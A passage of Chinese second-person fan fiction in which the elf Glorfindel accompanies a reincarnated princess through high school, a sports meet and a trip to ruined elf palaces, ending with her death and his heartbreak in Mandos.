“嗯……那我们明天学校见。”同学对你勉强地笑了一下,他还是觉得格洛芬德尔看上去不像是个好人,在送走这个同学以后格洛芬德尔又把雪糕递给你,他知道自己没必要和年纪小的人类计较,只是他刚才用怀疑的眼神观察他让他有些不舒服,因此他就对你说:“你和刚才那个同学很熟悉吗?” 你打开雪糕的盖子,挖了一勺,然后说:“也不算特别熟悉,你想说什么?他刚才的话是不是太冒犯你了?” “那倒还没有到冒犯的程度……”格洛芬德尔也不是那种斤斤计较的精灵,而且再说了,你刚才还说你和他不是很熟悉,所以他根本没必要在乎一个你都不怎么熟悉的人类的看法。 “那就好,不然我还真担心接下来一路得要听你碎碎念个不停,我的耳朵都要起茧子了。” 格洛芬德尔为自己辩解,“我也没有说那么多废话吧?” “那我也没有说我讨厌你的碎碎念呀。”你叼着挖雪糕的木勺子,瞧了格洛芬德尔一眼,而后又说:“你真该看看你现在的样子。” “我的样子?很奇怪吗?” “不,很可爱。” 第144章 现代番外5“你总有一天要回去的。…… 日子转眼就到了运动会当天,归功于这些天格洛芬德尔带着你训练,你在运动会前最后一次八百米测试的时间缩短到了两份五十秒,在运动会的前一天晚上格洛芬德尔说:“重在参与。” 你也是这么觉得的,运动会这两天老师难得没布置太多的作业,你在学校里就把作业给写完了,背着个轻飘飘的书包回家,当天晚上你总算是不用埋头写作业了,你无比自然地从书架上取下格洛芬德尔的藏书,他的藏书种类五花八门,从诗歌文学到冶铁锻造,一应俱全,你上次还翻到了一本绘画集,里面都是同一个人物的肖像画,笑着的,面露忧愁的,亦或是脸色冷淡的。 根据每一幅画作右下角的附言,你猜测这就是格洛芬德尔和你提起过的人类公主,说实话,你仅仅只是看着这几幅画就能想象出历史上的这位公主是何等的鲜活生动,你对她有一种与生俱来的亲近感,就好像你们是一体的一样。 再结合格洛芬德尔对你的态度,就算你再怎么不聪明也能推测出其中的关联,原先的你是不相信灵魂转世这一说的,但现在既然你都能遇见精灵了,那么灵魂能够一次又一次地轮转好像也不是没可能。 更何况你似乎还在梦里梦到过类似的场景,这就更坐实了你的猜测。 不过你并没有和格洛芬德尔提及这件事,因为你总觉得如果你主动提起,那可能说到一半这位多愁善感的精灵就又要无声哭泣了,你某次在他落泪的时候好奇地问过他:“所有的精灵都和你一样喜欢掉眼泪吗?” 格洛芬德尔却说:“并不是所有的精灵都和我一样。”他似乎是担心因为自己使得你对精灵这一种族产生不好的印象。 所以综上所述,你暂时将这件事情搁置在一边,目前来说最重要的事情还是运动会了。 格洛芬德尔还特意给你准备了一些运动会上与同学分享的点心,种类丰富,每种的分量也刚刚好,被他装在一个分层的食盒里,他说:“正好你可以和朋友一边看比赛一边分享点心。” 毫不夸张地说,他简直比你的双亲还要贴心,毕竟你的双亲每天都在忙着工作,一周七天有六天晚上都要加班,估计他们都不知道你这几天学校里举办运动会,你也没和他们说,很多内心想法你第一反应就是说给格洛芬德尔听,虽然这个精灵感性了一点,但毕竟活了几千年,总能给出合适的解决方案。 除了点心,你还准备带相机去学校,两盒相纸可能不够,你决定再多带两盒,你的相机买了有一阵子了,但因为学业繁忙所以一直被你放在杂物间里落灰,你还是前两天心血来潮去杂物间整理东西才发现了这个不知道什么时候买的相机,检查确认相机本身还能用,你就又买了几盒相纸。 你把相纸包装纸拆开放进相机里,调整镜头,举起相机,你腾出一只手让格洛芬德尔往镜头中间移动,格洛芬德尔问:“你要拍照?” “嗯,看看我的拍照技术如何。”你微微眯起眼睛,相机镜头里的格洛芬德尔表情略带茫然,你觉得有些好笑,就说:“不要露出这么一副茫然无助的样子,你之前都没有拍过照吗?” 格洛芬德尔作为见证了人类社会几千年变迁的精灵,他也曾结交过很多人类好友,在照相机问世后他也拍过几张照片,只是后来他的人类好友一个接着一个地死去,他始终没能找到你的灵魂,这让他的内心深陷动摇,他原本是那么确定自己所做的一切都是正确的,是有结果的,可是漫无目的地寻找,以及精灵长久地停留在大陆上,精灵的灵魂也会饱受折磨,毕竟忽视维林诺那一头传来的呼唤也相当于违抗维拉的命令。 你的话语让格洛芬德尔陷入沉思,他沉默了一会才对你笑了一下,而后说:“拍过,但那都是很久以前的事情了。” 你猜测他拍照的时候估计都还是黑白相片,你找了一个合适的角度,按下快门键,相片从相机下端吐出来,你拿着这张相纸,得要过一会才成像,在这段时间里你又问:“如 果精灵一直留在这片大陆上不回家的话,最后的结局会是什么呢?” 格洛芬德尔拿着那张相片,“他们的肉身会逐渐消散,直至化为虚无,但他们的灵魂也会继续存在,只是灵魂太过虚无缥缈,而且无时无刻不受到折磨。” 听他那么说,你下意识地握住他的手腕,确认他还是有实体的,他因为你的动作轻笑着说:“我现在还不至于变成灵魂体。”虽然这是迟早的事情,但至少现在他还能被你触碰。 他手中的相片一点一点地成形,你又说:“你总有一天要回去的。” “我知道……但那一天还未到来。” “你想要得到什么呢?或许就算你一直等待下去也等不到自己想要的东西。” 格洛芬德尔的手指触碰你刚才拍的那张相片,他轻轻地说:“能够找到她就是一件很幸运的事情了,我又还能奢求什么呢?见证她走完自己的一生,在她困难的时候帮助她,难过的时候安慰她,这就是我所能做的一切了。” “哪怕见证她与其他人走入婚姻也无所谓吗?”虽然你是这么说的,但你其实压根就没考虑过婚姻的事情,你的人生不该被这些外在的因素所束缚,但你随口一说的话却让格洛芬德尔认真思考了很久,最后他才艰难地说:“如果她认为这是幸福的话……那我也选择站在她这边。” 相片完全成像了,因为格洛芬德尔的皮肤白皙,再加上那一头金发,这张相片差点就要曝光过度了,还好房间里的光线不算明亮,作为你拍的第一张照片,这成品比你想象的好多了,你说:“看上去不错。”主要还是因为精灵本就长相精致漂亮非常上相。 “如果我来看你的运动会你会介意吗?”格洛芬德尔忽然问道,你挑起一遍的眉,随意地说:“运动会的时候确实会有一些学生的家长来看比赛,你到时候混进来就行。” 虽然你不觉得以格洛芬德尔的长相可以混入普通人里。 隔天运动会如期举行,当天的天气晴空万里,一看就是非常适合户外活动的天气,因为还没轮到你的项目,所以你上午基本上都坐在观众席里一边看小说一边吃零食,格洛芬德尔准备的点心饱受好评,甚至还有同学询问你是哪里买的,一听是自制的就还想再预定几份,对此你只能说暂时还没有预定这个服务。 你看到了一些同学的家长在观众席附近转悠,你就四处观察,总算是找到了一身低调打扮的格洛芬德尔,你放下手里的小说还有零食,兴冲冲地走下楼梯小跑到他身边。 “你成功混进来了啊?”你压低声音说。 “是啊,我稍微动用了一点小魔法。”说着,格洛芬德尔对你眨了眨眼睛,你当即就拉着格洛芬德尔参观学校,至于操场上的比赛,对你的吸引力不大,你们在学校里转了一圈,赶在你的项目开始之前又折返回到操场旁边,你戴上自己的号码布,走到赛道上,找到属于自己的位置,然后做好准备姿势,格洛芬德尔就站在赛道外朝你挥挥手。 下一秒,裁判一声枪响,你抢占先机跑了出去,八百米的第一圈不容易看出差距,等到第二圈的时候,就是真正考验耐力的时候了,而你一开始就跑在前头,哪怕跑到第二圈的时候也不见你减速,甚至还隐隐提速将第二名远远地甩开。 最后冲过终点线,你都没感觉到多少疲惫,就是心跳跳得很快,你深呼吸几口气,调整自己的呼吸频率,格洛芬德尔还站在赛道外,就在那个原来的位置笑着看你,你抬手擦去额头上的汗水,径直向他走去, “恭喜你,夺得冠军。”格洛芬德尔拿出手帕给你擦汗,此时你的呼吸已经平复下来,除了脸颊上的红晕,都看不出来你刚才跑了一场八百米。 运动会结束后没多久你就又回到了快节奏的学习生活,高考将近,学校里的气氛也愈发压抑,你每天也就只有在格洛芬德尔那里看一些杂书的时候能放松下来,你在看书的时候说起班里的同学在策划高考之后的毕业旅行,你和那些同学虽然关系不错,但还没到一起去旅行的地步,所以你听过就过,都没放在心上,倒是格洛芬德尔比你还上心,他说:“那你有想好去哪里旅行吗?” 你思索片刻,想到了什么,对格洛芬德尔说:“不如你带我去精灵宫殿遗址看看吧。”这可不是普通人类想看就能看到的,格洛芬德尔说:“可以是可以,只不过那些遗址不再像它们曾经在历史上的那么辉煌。” 第145章 现代番外完他无法割舍对…… 在高考结束的那一天你总算是松了一口气,当天晚上你就开始筹备毕业后的旅行计划,格洛芬德尔和你提到过很多曾经的精灵宫殿,有的精灵宫殿名字你一听就莫名有种熟悉的感觉,也许在历史上的某一个时刻你就曾经在那里生活过。 “不用和你的那些同学告别吗?你们既然毕业了应该还会有一场谢师宴的吧?”格洛芬德尔倒是很了解人类的习俗,你耸耸肩,实际上你根本就没打算去参加这个谢师宴,因为你的心思都已经转移到了旅行上面,你说:“这个就算不参加也没什么关系。”毕竟你的高中时代已经落下帷幕。 听你这么说,格洛芬德尔也没再提起你的同学还有老师,你们凑在一块制定详细的旅行计划,因为精灵宫殿的遗迹往往都藏在荒郊野外,所以你们能够选择的交通工具不多,大部分时间都只能依靠步行,所以与其说这是悠闲的旅行,倒不如说是全程流汗的徒步之旅。 尽管你在旅程开始前就已经做好了心理准备,但当你真的踏上这趟旅程的那一刻开始,尤其是从你们下了火车选择徒步开始,你就意识到自己远远低估了这趟旅行的运动强度。 好在你带的行李也不多,一个简单的行李箱还有一个手提箱,这就是你出行的所有行李,格洛芬德尔替你推着那个小行李箱,你们走了也不知道有多久,你没看时间,光顾着看周围的景色了,这里的风景和你以前在乡下居住时的景色截然不同,尤其是放眼望去那绿意盎然的平坦草原,你一眼都望不到边缘。 你朝着那片葱葱郁郁的草原跑去,跑跑停停,最后一头栽倒在这柔软的草地里,你躺了有一会,忽然一道阴影投在你身上,你这才缓慢地睁开眼睛,映入眼帘的是一颗毛茸茸的脑袋,向你凑近的是一匹白马,你被吓了一跳,一个激灵从草地上撑坐起来,那匹白马还很好奇地嗅了嗅你的身上的气味。 确认它对你没有恶意,你这才试探性地伸出手,手指轻轻地触碰白马的脑袋,它也没有表现出任何不满,甚至还顺从地低下头任由你抚摸它的头颅,你又惊又喜地对着不远处的格洛芬德尔说:“这里有一匹白马!” 格洛芬德尔表现得就淡定多了,他说:“这匹马是接下来陪伴我们的好伙伴。” “这是你安排的?”你问道,白马忽然舔了一下你的手,你赶忙收回手。 “也不能说是我安排的,我只是询问周围的马匹是否愿意载我们一程,然后它回应了我的请求,所以我们还应该感谢它才对。”格洛芬德尔走到你和白马面前,他用精灵语与白马交谈,你学过一点精灵语,只能听懂个大概。 交谈结束,格洛芬德尔说:“它同意了,接下来我们就不用走路了。” 有白马给你们当交通工具那确实是一件好事,不过新的问题又出现了,那就是你在此之前都没骑过马,你顶多就是在影视剧里看到过骑马的桥段,但那都是特意拍摄的,和真实的骑马相差甚远,因此你站在白马身边表情稍显为难,格洛芬德尔似乎看出了你的纠结,他说:“我可以先扶你上去。” 你本来想尝试着自己爬到马背上的,但你目测 了一下马背和地面的距离,最后还是放弃了,你转过头问格洛芬德尔:“那你该怎么扶我上去?” 格洛芬德尔对你伸出手,他的手臂环绕着你的腰,稍微一用力,就把你扶到了马背上,你调整好自己的动作,紧接着他又轻轻松地也坐在马背上,你们就这样骑着白马穿梭在树林间,这匹白马很聪明,走的路都是近路,而且还都是有树荫的小路,因此一路上你都没照到太多太阳,等到达目的地已经是下午的事情了。 一等白马停下来你从马背上下来,你们站在高处眺望远方,恰好能将远处的风景收入眼底,尽管那精灵宫殿已经因为岁月侵蚀而变得老旧,可是你却能想象出历史上,在那个属于精灵的时代,这里该是何等的辉煌。 “正如我所说的,这里没有你想象的那么金辉辉煌,在精灵西渡以后,等到周围的魔法都失效了,那么精灵留下的痕迹也会被时间一点一点地吞噬。”格洛芬德尔走到你身边,他说话的口吻仿佛置身事外,但你能够察觉到他看似平淡的语调下是隐秘的哀伤,毕竟他也是一位精灵。 你主动握住他的手,“但至少它现在还存在着。” 你们在这座宫殿内穿梭,时不时地停留一会,你先前听格洛芬德尔自称自己曾经是一位精灵领主,所以你就又问他的领地在哪里,格洛芬德尔给你指了个方向,接着又说:“其实这么说也不太准确,因为后来我的大部分时间都没在自己的领地上,而在我的伴侣,同时也是诺多至高王的领土上。” 听得出来他确实很喜爱自己那位伴侣,你说:“她能容忍你一直待在她身边也足以证明她是爱你的。” 格洛芬德尔被你勾起了对往事的回忆,“她很少对我说爱,其实不仅是我,就连其他的亲哥哥她也很少表达自己的亲近,或许她的性格本身就是如此吧。”直到现在他还在给自己的爱人找合适的理由解释她的行为。 你在格洛芬德尔说这些话的时候走到露天平台上,这个平台正对出去还有一个中心花园的喷泉,只不过因为长时间缺少修缮,所以这个喷泉池子早已干涸,周围甚至都长出了生命力顽强的花花草草,等你收回目光,格洛芬德尔这才结束碎碎念,你对着他招招手,一如格洛芬德尔记忆里的模样。 果然灵魂是不会出错的,他想。 “她如果真的不爱你,那你就连靠近她的机会都没有。”你说,这话勉强算是个安慰的话吧。 在旅行途中你对曾经精灵创造的一切都感到好奇,与你形成鲜明对比的是格洛芬德尔的平静,但他也只是表面所表现出来的平静,在旅行的那段时间他时常会做梦,梦到过去的好友,他当初决定留下来直到等到你为止,在听到他这一决定的时候周围精灵的反应各不相同,阿瑞蒂尔不觉得格洛芬德尔能够再等到你,毕竟你的灵魂不知所踪,就连维拉也不知道你的去向。 但身为格洛芬德尔的好友,埃克塞理安就表现得乐观多了,他说:“那你想好和她再次见面以后第一句话说什么吗?总不能一见到她就哭吧?你会被她当成奇怪的精灵的。” 埃克塞理安考虑的问题角度总是那么奇奇怪怪,他还和格洛芬德尔讨论了很多与你重逢的开场白,这就好像回到了维林诺时期,也是他一个劲地给他支招。 后来的埃克塞理安与其他的诺多精灵一同西渡返回维林诺,临走前他又对格洛芬德尔说:“我会在维林诺等待你的好消息的。” 这样的梦往往会在某个时间点戛然而止,他突兀地从梦中醒来,一般这个时候你都已经沉沉睡去,而这位金发精灵则是宁静地注视着你的侧脸,他想,在维林诺的埃克塞理安注定是等不到好消息了,因为他已经能够预见到与你的未来了,这注定不会是一个好结局。 因为人类的时间对于精灵来说转瞬即逝,格洛芬德尔时常觉得自己与你重逢就在昨天,可是眨眼间你却已经成为青年,然后再是中年,最后再一步一步地走向衰老,这一次他亲眼见证了你的死亡,也目睹了你的灵魂的消失。 他是那么平静地处理你的后事,安葬你的骨灰,最后再来到灰港,乘坐着自己打造的小船朝着西方维林诺前进,但他并没有顺利抵达维林诺,原因并非遇到了风浪,而是他因为你的死亡,以及与你的离别而感到悲伤,那份悲痛化作无形利刃刺穿他的心脏,不受疾病侵蚀的精灵就这样死于心碎。 他的灵魂回到曼督斯殿堂,因为他是最后一个从中土回到维林诺的精灵,所以在偌大的殿堂内,除了一些因为犯了错而不被允许复生的精灵灵魂,这殿堂显得那么空荡荡的。 格洛芬德尔还没有反应过来发生了什么,曼督斯的声音就传入他的脑海里,他问:“格洛芬德尔,你在为什么而感到悲伤?” “我再也不能见到她了,对吗?” 曼督斯不置可否,他反倒是提出了一个解决方法,“如果这份爱让你感觉到痛苦,那么我可以替你消除关于她的记忆,这样一来,你也不再感到悲伤。” 可格洛芬德尔却摇了摇头,“不,爱本身就是痛苦的东西,可是如果让我忘掉爱,那只会更痛苦。” 他无法割舍对你的爱,哪怕这份爱绝大部分带给他的都是伤害,他也义无反顾。